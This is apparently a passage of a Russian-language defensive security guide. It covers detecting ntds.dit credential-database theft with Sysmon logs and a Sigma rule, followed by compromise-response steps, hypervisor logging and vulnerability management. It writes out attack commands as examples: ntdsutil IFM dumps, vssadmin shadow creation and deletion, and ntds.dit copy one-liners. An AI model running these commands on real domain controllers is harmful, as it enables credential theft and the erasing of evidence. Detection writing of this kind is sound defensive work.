Выполнение вышеуказанной команды можно зафиксировать с помощью события создания процесса EventID=1 журнала Symon, EventID=4688 журнала Security и с помощью события запуска скриптблоков EventID=4104 журнала Powershell на контроллере домена.

Обратите ниже внимание на строку в событии c EventID=1(Sysmon)

<Data Name="CommandLine">ntdsutil "activate instance ntds" "ifm" "create full C:\Windows\Temp\NTDS" quit quit</Data>
                  

- <Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
- <System>
  <Provider Name="Microsoft-Windows-Sysmon" Guid="{5770385F-C22A-43E0-BF4C-06F5698FFBD9}" /> 
  <EventID>1</EventID> 
  <Version>5</Version> 
  <Level>4</Level> 
  <Task>1</Task> 
  <Opcode>0</Opcode> 
  <Keywords>0x8000000000000000</Keywords> 
  <TimeCreated SystemTime="2024-02-10T09:42:40.633769700Z" /> 
  <EventRecordID>8119972</EventRecordID> 
  <Correlation /> 
  <Execution ProcessID="1604" ThreadID="2020" /> 
  <Channel>Microsoft-Windows-Sysmon/Operational</Channel> 
  <Computer>WIN-O6QVDOTOFCA.lab.local</Computer> 
  <Security UserID="S-1-5-18" /> 
  </System>
- <EventData>
  <Data Name="RuleName">-</Data> 
  <Data Name="UtcTime">2024-02-10 09:42:40.602</Data> 
  <Data Name="ProcessGuid">{460797FE-4510-65C7-AF07-000000001800}</Data> 
  <Data Name="ProcessId">3856</Data> 
  <Data Name="Image">C:\Windows\System32\ntdsutil.exe</Data> 
  <Data Name="FileVersion">6.3.9600.16384 (winblue_rtm.130821-1623)</Data> 
  <Data Name="Description">NT5DS</Data> 
  <Data Name="Product">Microsoft® Windows® Operating System</Data> 
  <Data Name="Company">Microsoft Corporation</Data> 
  <Data Name="OriginalFileName">ntdsutil.exe</Data> 
  <Data Name="CommandLine">ntdsutil "activate instance ntds" "ifm" "create full C:\Windows\Temp\NTDS" quit quit</Data> 
  <Data Name="CurrentDirectory">C:\Temp\</Data> 
  <Data Name="User">LAB\Administrator</Data> 
  <Data Name="LogonGuid">{460797FE-9671-65BE-4054-040000000000}</Data> 
  <Data Name="LogonId">0x45440</Data> 
  <Data Name="TerminalSessionId">1</Data> 
  <Data Name="IntegrityLevel">High</Data> 
  <Data Name="Hashes">MD5=0741B31AF51B150DF84BFEFD4A15C624,SHA256=D2C7BD14D91124401AAC6F19DD2D2EDDA0EAAC55CFFB654583444137960EEDCA,IMPHASH=6D8CC7C1C74B6AA69C6C1F189D5781D9</Data> 
  <Data Name="ParentProcessGuid">{460797FE-9696-65BE-3A00-000000001800}</Data> 
  <Data Name="ParentProcessId">2056</Data> 
  <Data Name="ParentImage">C:\Windows\System32\cmd.exe</Data> 
  <Data Name="ParentCommandLine">"C:\Windows\system32\cmd.exe"</Data> 
  <Data Name="ParentUser">LAB\Administrator</Data> 
  </EventData>
  </Event>
                  

Так же сгенерировалось событие создания файла с EventID=11 журнала Sysmon. Обратите внимание на следующие поля:

• <Data Name="Image">C:\Windows\system32\ntdsutil.exe</Data> — процес который создал файл
• <Data Name="TargetFilename">C:\Windows\Temp\NTDS\Active Directory\ntds.dit</Data>  — этот файл уже может спокойно себе скачать злоумышленник, например, для дальнейшей генерации Golden Ticket.

- <Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
- <System>
  <Provider Name="Microsoft-Windows-Sysmon" Guid="{5770385F-C22A-43E0-BF4C-06F5698FFBD9}" /> 
  <EventID>11</EventID> 
  <Version>2</Version> 
  <Level>4</Level> 
  <Task>11</Task> 
  <Opcode>0</Opcode> 
  <Keywords>0x8000000000000000</Keywords> 
  <TimeCreated SystemTime="2024-02-10T09:42:51.306219100Z" /> 
  <EventRecordID>8120158</EventRecordID> 
  <Correlation /> 
  <Execution ProcessID="1604" ThreadID="2020" /> 
  <Channel>Microsoft-Windows-Sysmon/Operational</Channel> 
  <Computer>WIN-O6QVDOTOFCA.lab.local</Computer> 
  <Security UserID="S-1-5-18" /> 
  </System>
- <EventData>
  <Data Name="RuleName">Suspicious</Data> 
  <Data Name="UtcTime">2024-02-10 09:42:51.306</Data> 
  <Data Name="ProcessGuid">{460797FE-4510-65C7-AF07-000000001800}</Data> 
  <Data Name="ProcessId">3856</Data> 
  <Data Name="Image">C:\Windows\system32\ntdsutil.exe</Data> 
  <Data Name="TargetFilename">C:\Windows\Temp\NTDS\Active Directory\ntds.dit</Data> 
  <Data Name="CreationUtcTime">2024-02-10 09:42:51.306</Data> 
  <Data Name="User">LAB\Administrator</Data> 
  </EventData>
  </Event>
                  

Пример правила на Sigma для выявления атак связанных с кражей ntds.dit ниже.

title: Suspicious Process Patterns NTDS.DIT Exfil
id: 8bc64091-6875-4881-aaf9-7bd25b5dda08
status: test
description: Detects suspicious process patterns used in NTDS.DIT exfiltration
references:
    - https://www.ired.team/offensive-security/credential-access-and-credential-dumping/ntds.dit-enumeration
    - https://www.n00py.io/2022/03/manipulating-user-passwords-without-mimikatz/
    - https://pentestlab.blog/tag/ntds-dit/
    - https://github.com/samratashok/nishang/blob/414ee1104526d7057f9adaeee196d91ae447283e/Gather/Copy-VSS.ps1
    - https://github.com/zcgonvh/NTDSDumpEx
    - https://github.com/rapid7/metasploit-framework/blob/d297adcebb5c1df6fe30b12ca79b161deb71571c/data/post/powershell/NTDSgrab.ps1
    - https://blog.talosintelligence.com/2022/08/recent-cyber-attack.html?m=1
author: Florian Roth (Nextron Systems)
date: 2022/03/11
modified: 2022/11/10
tags:
    - attack.credential_access
    - attack.t1003.003
logsource:
    product: windows
    category: process_creation
detection:
    selection_tool:
        # https://github.com/zcgonvh/NTDSDumpEx
        - Image|endswith:
              - '\NTDSDump.exe'
              - '\NTDSDumpEx.exe'
        - CommandLine|contains|all:
              # ntdsdumpex.exe -d ntds.dit -o hash.txt -s system.hiv
              - 'ntds.dit'
              - 'system.hiv'
        - CommandLine|contains: 'NTDSgrab.ps1'
    selection_oneliner_1:
        # powershell "ntdsutil.exe 'ac i ntds' 'ifm' 'create full c:\temp' q q"
        CommandLine|contains|all:
            - 'ac i ntds'
            - 'create full'
    selection_onliner_2:
        # cmd.exe /c copy z:\windows\ntds\ntds.dit c:\exfil\ntds.dit
        CommandLine|contains|all:
            - '/c copy '
            - '\windows\ntds\ntds.dit'
    selection_onliner_3:
        # ntdsutil "activate instance ntds" "ifm" "create full c:\windows\temp\data\" "quit" "quit"
        CommandLine|contains|all:
            - 'activate instance ntds'
            - 'create full'
    selection_powershell:
        CommandLine|contains|all:
            - 'powershell'
            - 'ntds.dit'
    set1_selection_ntds_dit:
        CommandLine|contains: 'ntds.dit'
    set1_selection_image_folder:
        - ParentImage|contains:
              - '\apache'
              - '\tomcat'
              - '\AppData\'
              - '\Temp\'
              - '\Public\'
              - '\PerfLogs\'
        - Image|contains:
              - '\apache'
              - '\tomcat'
              - '\AppData\'
              - '\Temp\'
              - '\Public\'
              - '\PerfLogs\'
    condition: 1 of selection* or all of set1*
falsepositives:
    - Unknown
level: high
                  

Рассмотрим следующий вариант дампа базы ntds.dit с помощью утилиты vssadmin. Классическая команда выглядит следующим образом vssadmin create shadow /for=C:. Выявить активность можно с помощью событий EventID=4688 журнала Security, EventID=1 журнала Sysmon.

Обратите внимание на зафиксированную командную строку в событии   <Data Name="CommandLine">vssadmin create shadow /for=C:</Data> 

- <Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
- <System>
  <Provider Name="Microsoft-Windows-Sysmon" Guid="{5770385F-C22A-43E0-BF4C-06F5698FFBD9}" /> 
  <EventID>1</EventID> 
  <Version>5</Version> 
  <Level>4</Level> 
  <Task>1</Task> 
  <Opcode>0</Opcode> 
  <Keywords>0x8000000000000000</Keywords> 
  <TimeCreated SystemTime="2024-02-10T12:14:55.042278500Z" /> 
  <EventRecordID>8140166</EventRecordID> 
  <Correlation /> 
  <Execution ProcessID="1604" ThreadID="2020" /> 
  <Channel>Microsoft-Windows-Sysmon/Operational</Channel> 
  <Computer>WIN-O6QVDOTOFCA.lab.local</Computer> 
  <Security UserID="S-1-5-18" /> 
  </System>
- <EventData>
  <Data Name="RuleName">-</Data> 
  <Data Name="UtcTime">2024-02-10 12:14:55.026</Data> 
  <Data Name="ProcessGuid">{460797FE-68BF-65C7-EC07-000000001800}</Data> 
  <Data Name="ProcessId">860</Data> 
  <Data Name="Image">C:\Windows\System32\vssadmin.exe</Data> 
  <Data Name="FileVersion">6.3.9600.17415 (winblue_r4.141028-1500)</Data> 
  <Data Name="Description">Command Line Interface for Microsoft® Volume Shadow Copy Service</Data> 
  <Data Name="Product">Microsoft® Windows® Operating System</Data> 
  <Data Name="Company">Microsoft Corporation</Data> 
  <Data Name="OriginalFileName">VSSADMIN.EXE</Data> 
  <Data Name="CommandLine">vssadmin create shadow /for=C:</Data> 
  <Data Name="CurrentDirectory">C:\Temp\</Data> 
  <Data Name="User">LAB\Administrator</Data> 
  <Data Name="LogonGuid">{460797FE-9671-65BE-4054-040000000000}</Data> 
  <Data Name="LogonId">0x45440</Data> 
  <Data Name="TerminalSessionId">1</Data> 
  <Data Name="IntegrityLevel">High</Data> 
  <Data Name="Hashes">MD5=D9EE4ACBA0FD5AF721EC2CE5226B5E2E,SHA256=AF08DA2358D55665FAE06AE694129B5F3778989E93F5F369E0B594E1A2BC521E,IMPHASH=E29ADBD24C814ABA83B2027E5BB6C452</Data> 
  <Data Name="ParentProcessGuid">{460797FE-9696-65BE-3A00-000000001800}</Data> 
  <Data Name="ParentProcessId">2056</Data> 
  <Data Name="ParentImage">C:\Windows\System32\cmd.exe</Data> 
  <Data Name="ParentCommandLine">"C:\Windows\system32\cmd.exe"</Data> 
  <Data Name="ParentUser">LAB\Administrator</Data> 
  </EventData>
  </Event>
                  

Соответственно мы обнаружим создание файла C:\Windows\Temp\ntds.dit.save в событие EventID=11 журнала Sysmon. 

- <Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
- <System>
  <Provider Name="Microsoft-Windows-Sysmon" Guid="{5770385F-C22A-43E0-BF4C-06F5698FFBD9}" /> 
  <EventID>11</EventID> 
  <Version>2</Version> 
  <Level>4</Level> 
  <Task>11</Task> 
  <Opcode>0</Opcode> 
  <Keywords>0x8000000000000000</Keywords> 
  <TimeCreated SystemTime="2024-02-10T12:19:54.526660200Z" /> 
  <EventRecordID>8140853</EventRecordID> 
  <Correlation /> 
  <Execution ProcessID="1604" ThreadID="2020" /> 
  <Channel>Microsoft-Windows-Sysmon/Operational</Channel> 
  <Computer>WIN-O6QVDOTOFCA.lab.local</Computer> 
  <Security UserID="S-1-5-18" /> 
  </System>
- <EventData>
  <Data Name="RuleName">Executable</Data> 
  <Data Name="UtcTime">2024-02-10 12:19:54.526</Data> 
  <Data Name="ProcessGuid">{460797FE-9696-65BE-3A00-000000001800}</Data> 
  <Data Name="ProcessId">2056</Data> 
  <Data Name="Image">C:\Windows\system32\cmd.exe</Data> 
  <Data Name="TargetFilename">C:\Windows\Temp\ntds.dit.save</Data> 
  <Data Name="CreationUtcTime">2024-02-10 12:19:54.526</Data> 
  <Data Name="User">LAB\Administrator</Data> 
  </EventData>
  </Event>
                  

Для заметания следов следующим шагом злоумышленник может выполнить команду:

vssadmin delete shadows /shadow={e1f24f05-c919-4f96-ac60-fad4bfb07459}
                  

Обратите внимание на зафиксированную команду в событии:   

<Data Name="CommandLine">vssadmin delete shadows /shadow={e1f24f05-c919-4f96-ac60-fad4bfb07459}</Data>
                  

- <Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
- <System>
  <Provider Name="Microsoft-Windows-Sysmon" Guid="{5770385F-C22A-43E0-BF4C-06F5698FFBD9}" /> 
  <EventID>1</EventID> 
  <Version>5</Version> 
  <Level>4</Level> 
  <Task>1</Task> 
  <Opcode>0</Opcode> 
  <Keywords>0x8000000000000000</Keywords> 
  <TimeCreated SystemTime="2024-02-10T12:25:31.136231200Z" /> 
  <EventRecordID>8141617</EventRecordID> 
  <Correlation /> 
  <Execution ProcessID="1604" ThreadID="2020" /> 
  <Channel>Microsoft-Windows-Sysmon/Operational</Channel> 
  <Computer>WIN-O6QVDOTOFCA.lab.local</Computer> 
  <Security UserID="S-1-5-18" /> 
  </System>
- <EventData>
  <Data Name="RuleName">-</Data> 
  <Data Name="UtcTime">2024-02-10 12:25:31.136</Data> 
  <Data Name="ProcessGuid">{460797FE-6B3B-65C7-F207-000000001800}</Data> 
  <Data Name="ProcessId">3332</Data> 
  <Data Name="Image">C:\Windows\System32\vssadmin.exe</Data> 
  <Data Name="FileVersion">6.3.9600.17415 (winblue_r4.141028-1500)</Data> 
  <Data Name="Description">Command Line Interface for Microsoft® Volume Shadow Copy Service</Data> 
  <Data Name="Product">Microsoft® Windows® Operating System</Data> 
  <Data Name="Company">Microsoft Corporation</Data> 
  <Data Name="OriginalFileName">VSSADMIN.EXE</Data> 
  <Data Name="CommandLine">vssadmin delete shadows /shadow={e1f24f05-c919-4f96-ac60-fad4bfb07459}</Data> 
  <Data Name="CurrentDirectory">C:\Temp\</Data> 
  <Data Name="User">LAB\Administrator</Data> 
  <Data Name="LogonGuid">{460797FE-9671-65BE-4054-040000000000}</Data> 
  <Data Name="LogonId">0x45440</Data> 
  <Data Name="TerminalSessionId">1</Data> 
  <Data Name="IntegrityLevel">High</Data> 
  <Data Name="Hashes">MD5=D9EE4ACBA0FD5AF721EC2CE5226B5E2E,SHA256=AF08DA2358D55665FAE06AE694129B5F3778989E93F5F369E0B594E1A2BC521E,IMPHASH=E29ADBD24C814ABA83B2027E5BB6C452</Data> 
  <Data Name="ParentProcessGuid">{460797FE-9696-65BE-3A00-000000001800}</Data> 
  <Data Name="ParentProcessId">2056</Data> 
  <Data Name="ParentImage">C:\Windows\System32\cmd.exe</Data> 
  <Data Name="ParentCommandLine">"C:\Windows\system32\cmd.exe"</Data> 
  <Data Name="ParentUser">LAB\Administrator</Data> 
  </EventData>
  </Event>
                  

 Далее злоумышленник любым из возможных способов может забрать к себе файл C:\Windows\Temp\ntds.dit.save.

Действия при компроментации системы

1. Сбросьте все пароли учетных записей пользователей:
   • сбросьте дважды (с интервалом не менее восьми часов) пароль пользователя KRBTGT;
   • сбросить все пароли администратора;
   • сбросить пароли всех сервисных учетных записей;
   • сбросить все пароли учетных записей компьютеров.
2. Проверьте значение параметра срока жизни пароля для компьютеров. Злоумышленники могут изменить этот срок, чтобы предоставить себе доступ с использованием машинных хэшей на более длительный срок.
3. Сбросить все пароли LAPS.
4. Сбросить разрешения для объекта AdminSDHolders.
5. Удалить у всех администраторов домена и администраторов систем все данные из атрибута msDS-KeyCredentialLink.
6. Занести всех администраторов домена и администраторов систем в группу Protected Users.
7. Отозвать и перевыпустить все сертификаты ADCS.
8. Проверьте наличие вредоносных запланированных задач.
9. Проверьте наличие вредоносных автозапусков или других механизмов сохранения на основе реестра.
10. Проверьте наличие бэкдоров в стиле utilman.
11. Проверьте наличие вредоносных принтеров/драйверов принтеров.
12. Просмотрите права делегированного доступа Active Directory (RBCD Bakdoors).
13. Ротация сертификатов подписи токенов ADFS и сертификатов расшифровки токенов.
14. Проверьте дескрипторы безопасности Service Control Manager (SCM).
15. Проверьте наличие изменений объекта в соответствии с первоначальными временными рамками доступа/событий.
16. Проверка членства в группах на соответствие известным базовым показателям.
17. Просмотрите сценарии входа в GPO и SYSVOL.
18. Просмотрите домены и доверительные отношения Active Directory.
19. Установить все последние обновления безопасности.

Контроль системы виртуализации

Популярные систем виртуализации

VMware vSphere/ESXi

vSphere комплексное решение, объединяющее физические ресурсы в общую инфраструктуру. Основой vSphere является гипервизор ESXi, который устанавливается непосредственно на сервер и позволяет создавать и управлять виртуальными машинами. Гипервизор ESXi обеспечивает высокую производительность и безопасность. 

vCenter Server предоставляет централизованное управление и мониторинг всей виртуализированной инфраструктуры.

VMware ESXi сохраняет активность хоста в лог-файлах, используя установки syslog. Полезные для анализа лог-файлы:

Рекомендуется настроить ведение журнала на SIEM. По умолчанию, логи на хостах ESXi хранятся в файловой системе в памяти. Они теряются при перезагрузке хоста и хранятся только 24 часа.

Логи виртуальных машин хранятся в той же директории, что и файлы конфигурации виртуальной машины, и называются vmware.log и vmware*.log2. Путь к лог-файлу должен быть похож на /vmfs/volumes/<datastore>/<virtual machine>/vmware.log.

Ниже пример содержимого лог-файла vmware.log: 

2022-07-15T18:50:30.687Z| vmx| I125: SnapshotVMX_TakeSnapshot start: 'Snapshot 1', deviceState=0, lazy=0, logging=0, quiesced=0, forceNative=0
2022-07-15T18:50:30.688Z| vmx| I125: SNAPSHOT: SnapshotConfigInfoRead: Done version 7 data.
2022-07-15T18:50:30.688Z| vmx| I125: SNAPSHOT: SnapshotConfigInfoReadExtra done.
2022-07-15T18:50:30.688Z| vmx| I125: SNAPSHOT: SnapshotDumpConfigInfo: numDisks = 1 version=7 encoding=UTF-8
2022-07-15T18:50:30.688Z| vmx| I125: SNAPSHOT: SnapshotDumpConfigInfo: 'ide0:0.fileName' = 'Windows 7.vmdk'
...
2022-07-15T18:50:31.020Z| vmx| I125: DISKLIB-VMFS  : "/vmfs/volumes/4ec4c10b-6e8e3982-e2db-001cc4ded8c6/Windows 7/Windows 7-000001.vmdk" : open successful (10) size = 0, hd = 10527744. Type 3
...
2022-07-15T18:50:31.478Z| vmx| I125: SNAPSHOT: SnapshotBranchDisk: Done with ide0:0.
2022-07-15T18:50:31.478Z| vmx| I125: SnapshotVMX_TakeSnapshot done.
2022-07-15T18:50:31.478Z| vmx| I125: SnapshotVMXTakeSnapshotComplete: Snapshot 1

В этом примере можно увидеть процесс создания снимка для виртуальной машины “Windows 7”. Имя снимка, время его создания и другие детали будут отражены в лог-файле.

Microsoft Hyper-V:

Разработанный Microsoft, Hyper-V предоставляет встроенные инструменты для виртуализации на платформе Windows. Hyper-V включен в операционные системы Windows Server и предоставляет множество возможностей для управления виртуальными машинами и ресурсами.

Группы файлов журналов

Существует 11 различных файлов журналов, которые используются для сбора информации Hyper-V обычным способом просмотра событий, хотя и гораздо более полезным способом. Windows Server 2016 содержит следующие группы файлов журналов, которые помогают устранять неполадки в средах Hyper-V:

Чтобы найти различные журналы событий, специфичные для Hyper-V, в средстве просмотра событий Windows, перейдите в раздел Windows Logs -> Applications and Services Logs -> Microsoft -> Windows.

• Hyper-V-Compute — собирает информацию об API управления контейнерами, известном как Host Compute Service (HCS), и служит API управления низкого уровня.
• Hyper-V-Config — фиксирует события, связанные с файлами конфигурации виртуальной машины. Здесь будут регистрироваться ошибки, связанные с отсутствием, повреждением или недоступностью файлов конфигурации виртуальной машины.
• Hyper-V-Guest-Drivers — файл журнала, который содержит информацию о компонентах служб интеграции Hyper-V и предоставляет ценную информацию по устранению проблем с компонентами интеграции.
• Hyper-V-High-Availability — события, связанные с отказоустойчивыми кластерами Hyper-V Windows Server
• Hyper-V-Hypervisor — события, связанные с самим гипервизором Hyper-V. Например, если Hyper-V не запускается, то причину можно поискать в этой ветке логов. Кроме того, здесь будут регистрироваться информационные сообщения, такие как созданные или удаленные разделы Hyper-V.
• Hyper-V-Shared-VHDX — в этом журнале находится информация, относящаяся к общим виртуальным дискам VHDX между виртуальными машинами.
• Hyper-V-StorageVSP — собирает информацию о поставщике услуг виртуализации хранилища. Здесь содержится информация по устранению неполадок низкого уровня для хранилища виртуальных машин.
• Hyper-V-VID — регистрирует события драйвера инфраструктуры виртуализации, касающиеся назначения памяти, динамической памяти или изменения статической памяти при работающей виртуальной машине.
• Hyper-V-VMMS — события службы управления виртуальными машинами, которые важны для устранения неполадок виртуальной машины, которая не запускается, или сбоя операции динамической миграции.
• Hyper-V-VmSwitch — содержит события от коммутаторов виртуальной сети.
• Hyper-V-Worker — журнал, в котором фиксируется информация о рабочем процессе Hyper-V, который отвечает за фактическую работу виртуальной машины.

Нам будет более интересна группа событий Hyper-V-VMMS. Ниже представлены примеры некоторых событий Hyper-V, которые могут помочь отследить действия с виртуальными машинами:

1. Создание снимка (событие ID 18012): Это событие регистрируется, когда создается новый снимок виртуальной машины. В журнале событий будет указано имя виртуальной машины и имя снимка.

   Источник: Microsoft-Windows-Hyper-V-VMMS
   ID события: 18012
   Уровень: Информация
   Описание: Снимок 'Имя снимка' был успешно создан для виртуальной машины 'Имя виртуальной машины'.
   
                     

2. Изменение конфигурации (событие ID 12540): Это событие регистрируется, когда изменяется конфигурация виртуальной машины. В журнале событий будет указано имя виртуальной машины и детали изменения.

   Источник: Microsoft-Windows-Hyper-V-VMMS
   ID события: 12540
   Уровень: Информация
   Описание: Конфигурация виртуальной машины 'Имя виртуальной машины' была успешно изменена.
   
                     

3. Перемещение виртуальной машины (событие ID 20410): Это событие регистрируется, когда виртуальная машина перемещается с одного хоста на другой. В журнале событий будет указано имя виртуальной машины и детали перемещения.

   Источник: Microsoft-Windows-Hyper-V-VMMS
   ID события: 20410
   Уровень: Информация
   Описание: Виртуальная машина 'Имя виртуальной машины' была успешно перемещена

KVM (Kernel-based Virtual Machine):

KVM встроен в ядро Linux и обеспечивает поддержку виртуализации на уровне аппаратного обеспечения. Это открытое программное обеспечение и является частью многих дистрибутивов Linux. KVM обеспечивает высокую производительность и расширяемость.

Система виртуализации KVM хранит различные типы логов, которые помогают в отслеживании действий и устранении проблем. Ниже представлены некоторые из них:

Трекинг команд на хост системе: 

# Клонирование VM:
virt-clone
# Создание снепшота диска:
virsh snapshot-create-as
# Изменение конфигурации:
virsh dumpxml

Трекинг логов приложения виртуализации. В логах KVM и libvirt есть записи о выполнении команд, связанных с клонированием виртуальных машин, созданием снимков и изменением конфигурации.

Например, при клонировании виртуальной машины можете увидеть запись вида: 

2024-03-10 18:42:35.123+0000: 26757: info : libvirt version: 1.2.2
2024-03-10 18:42:35.123+0000: 26757: info : hostname: kvm-host
2024-03-10 18:42:35.123+0000: 26757: info : Domain id=7 name='original-vm' uuid=546a3d63-11b2-4fd4-b2c5-5e60f7e8cc5a is cloned as id=8 name='cloned-vm' uuid=5e60f7e8cc5a-11b2-4fd4-b2c5-546a3d63

При создании снимка диска: 

2024-03-10 18:42:35.123+0000: 26757: info : libvirt version: 1.2.2
2024-03-10 18:42:35.123+0000: 26757: info : hostname: kvm-host
2024-03-10 18:42:35.123+0000: 26757: info : Domain id=7 name='my-vm' uuid=546a3d63-11b2-4fd4-b2c5-5e60f7e8cc5a snapshot 'snapshot1' was created

И при изменении конфигурации виртуальной машины: 

2024-03-10 18:42:35.123+0000: 26757: info : libvirt version: 1.2.2
2024-03-10 18:42:35.123+0000: 26757: info : hostname: kvm-host
2024-03-10 18:42:35.123+0000: 26757: info : Domain id=7 name='my-vm' uuid=546a3d63-11b2-4fd4-b2c5-5e60f7e8cc5a configuration was changed

Xen:

Xen предлагает возможность использовать как гипервизор (Xen Hypervisor), так и технологию паравиртуализации. Xen был разработан для обеспечения высокой производительности и безопасности, и широко применяется в различных областях.
Эти системы виртуализации предоставляют различные возможности и применяются в зависимости от требований конкретных сценариев использования. Выбор системы виртуализации зависит от целей, бюджета, уровня экспертизы и конкретных потребностей виртуальной инфраструктуры. 

Дополнительные индикаторы компроментации

Уязвимость - любая слабость в системе, например ошибка, которая обеспечивает злоумышленнику физический или цифровой доступ к системе. 

Угроза - человек, ситуация или прочее воздействие, способное воспользоваться уязвимостью

Задача отдела ИБ — закрыть уязвимости, соответствующие вашим угрозам, а НЕ победить саму угрозу. 

Управление уязвимостями позволяет снижать вероятность компрометации путем их своевременного обнаружения и устранения. Важно определение приоритетов для исправления уязвимостей на основе их серьезности и вероятности эксплуатации. Набор техник направлен на определение и классификацию уязвимостей в системах и приложениях до использования и анализ потенциального воздействия уязвимостей. Включает в себя шаги:

1. Определение активов и требований. Сначала реестр данных, активов и ПО. Определить внешние требования, например соответствие стандартам или сертификациям. Учитывается несколько факторов:

• Требования регуляторов — ФСТЭК, PCI-DSS, SOC2, ISO и прочие.
• Корпоративную политику — компания должна иметь зафиксированные процедуры для обеспечения процесса.
• Классификацию данных — нужно знать, какие данные мы обрабатываем и где эти данные находятся. Также, данные должны быть классифицированы по уровню чувствительности, например публичные, для внутреннего использования и секретные данные.

2. Приоретизация активов. При создании (обновлении) реестра активов, каждому активу проставляется "вес", учитывающийся при подготовке отчета и приоретизации уязвимостей для устранения. Зависит от типа компании. Уязвимости должны устраняться в первую очередь на активах, имеющих больший вес. 

3. Поиск уязвимостей. Процесс должен учитывать критичность активов. Учитываемые параметры при настройке ПО:

• Частота сканирования. Нет смысла проверять каждый день, если IT отдел может устранить найденные проблемы в течении квартала. Учитываются требования регуляторов; аппетит бизнеса к рискам; потенциальное нарушение доступности сервисов из-за сканирования; наличие или отсутствие необходимых ресурсов (людей, серверов, времени).
• Аутентификация. Сканеру уязвимостей можно предоставить учетные данные для доступа на проверяемый актив. Проверка уязвимостей с аутентификацией точнее. Сканирование без аутентификации показывает картину глазами атакующего и позволяет точнее определить уязвимости(если они будут подтверждены), которые следует закрывать в первую очередь.
• "Разрушительность" сканирования При настройке сканера как правило можно выбрать инвазивность сканирования  (проверять ли DoS, пытаться ли подбирать пароли для учетных записей и пр.). Некоторые проверки могут привести к нарушению работоспособности сервиса или блокировке учетных записей. Уникален для каждой компании.
• Обновление базы уязвимостей и подготовка профиля для сканирования. Например, если в компании не используется Linux, нет смысла искать уязвимости для этой ОС, их можно исключить из профиля сканирования и значительно сократить время и интенсивность проверок.
• Серверное сканирование и сканирование с использованием агентов. Существует опция установки агента на проверяемые машины. Полезно для серверов, находящихся в DMZ, или рабочих станций пользователей, работающих удаленно. Сканирование со стороны сервера, в свою очередь, может выявить новые и/или не задокументированные устройства в сети.

4. Оценка уязвимостей и отчет Например, критическая уязвимость на сервере, не подключенном к интернету и находящемся в бункере будет иметь приоритет ниже, чем подобная уязвимость на публичном веб-сервере. Полученный отчет отправляется владельцу актива для устранения. 

5. Исправление уязвимости Владелец актива устраняет уязвимости в отчете (установка обновлений безопасности, отключение уязвимых сервисов, замену устаревшего оборудования). Затем подтверждается, что уязвимость действительно устранена. Сотрудник, ответственный за устранение уязвимости определяет следующие аспекты:

• Порядок устранения — сортировка по критичности, сложности устранения и стоимости устранения.
• В какое время это будет происходить — процесс устранения уязвимостей должен проводиться в соответствии с политикой изменений компании. В процессе устранения уязвимостей сервис может быть какое-то время недоступен, что может повлиять на SLA компании. Само исправление уязвимости может также нести в себе риски для компании, поэтому обычно исправления сначала обкатываются в тестовой среде, и только после этого попадают в продакшн. 
• Каким образом это будет происходить — нужно ли нотифицировать об изменении партнеров, менеджмент, соседние отделы, и т.д. 

6. Проверка эффективности процесса Для стабильной работы необходимо постоянно оценивать его эффективность (сбор метрик, статистики или аудит). Поиск, адресация и устранение уязвимостей могут генерировать значительную нагрузку на технический персонал, бюджет, и, в зависимости от выстроенных процессов, административную нагрузку на согласование заявок на устранение. Частота/глубина сканов и скорость устранения уязвимостей зависит от множества факторов и будет уникальной для каждой компании. 

Единственная универсальная рекомендация — этот процесс должен быть регулярным. Независимо от частоты сканирования (для кого-то и частота сканирований раз в год будет подходящим вариантом). Наличие регулярного процесса помогает заранее планировать время и ресурсы, повышает общую осведомленность сотрудников IT, и позволяет оценивать изменения уровня рисков за наблюдаемый период времени.

Управление уязвимостями внутри периметра

Как правило внутренние сканы бывают следующих видов:

• Discovery scan (сканирование для обнаружения активов) — легкий скан, как правило используются ICMP ping или TCP SYN, предназначенный в первую очередь для обнаружения новых хостов в сети.
• Authentication check — проверка аутентификации сканера на сканируемых машинах. Сканы с аутентификацией дают более точную информацию об уязвимостях, поэтому имеет смысл проверять, может ли сканер успешно авторизоваться на исследуемых узлах сети.
• SCA(Security Configuration Asessment) scan — проверка конфигурации машины на предмет соответствия стандартам или внутренним требованиям.
• Inventory scan — сбор информации об установленном ПО/железе и их версий.
• Specific CVE scan — проверка сети на наличие конкретных уязвимостей. Обычно настраивается профилем сканирования, используется инженерами для ускорения процесса поиска уязвимостей, как правило свежеанонсированных 0-day. Например, после анонса уязвимости в пакете xz utils имеет смысл создать профиль, проверяющий только версию пакета и  с помощью быстрого скана оценить количество затронутых этой проблемой хостов.

Управление патчами(заплатками).

Несмотря на то, что термины управления уязвимостями и управления патчами часто используются взаимозаменяемо, это разные, хоть и взаимодополняющие процессы. 

Процесс управления патчами (Patch management) отвечает за поиск, тестирование и своевременное применение обновлений безопасности на ИТ оборудовании компании. Отдельно стоит отметить важность тестирования выкатки патчей - ведь вместе с исправлением одних проблем производитель может анонсировать другие, более критичные для бизнеса. 

Пассивная проверка на наличие уязвимостей

Еще одним способом проверить машину на наличие уязвимостей является сбор информации об установленных приложениях и проверка этого списка в открытых источниках или специализированных сервисах. Пример сервиса vulners.com:

1. Перейдем на сайт https://vulners.com/scanner/audit и выберем соответствующую ОС(для примера будем использовать Oracle Linux). 

2. Скопируем предложенную команду и выполним ее на нашем сервере:

rpm -qa --qf '%{NAME}-%{VERSION}-%{RELEASE}.%{ARCH}\n'

3. Вставим полученный результат обратно на сайт:

4. И после нажатия кнопки "Next" получим результат — список известных уязвимостей в установленых пакетах! 

Плюсы

• Проверки подобного рода не нагружают исследуемый сервер и занимают очень мало времени.
• Информацию об установленном ПО можно собирать в одно время(например, раз в день), а проверять на наличие уязвимостей в другое.
• Подобные сервисы как правило поддерживают API, что позволяет автоматизировать проверки.

Минусы

• Информация об уязвимостях может быть не очень корректной. Например, для некоторых linux дистрибутивов секьюрити патчи для приложений не меняют их отображаемую версию, что приводит к выдаче неверных результатов.
• Проверяются только уязвимости, связанные с версиями приложений. По факту, уязвимости могут быть связаны с конфигурацией (тогда такая проверка их не обнаружит), или же наоборот,  некоторые уязвимости могут быть устранены с помощью каких-либо настроек(в этом случае мы получим flase positive, ложнопозитивный результат).

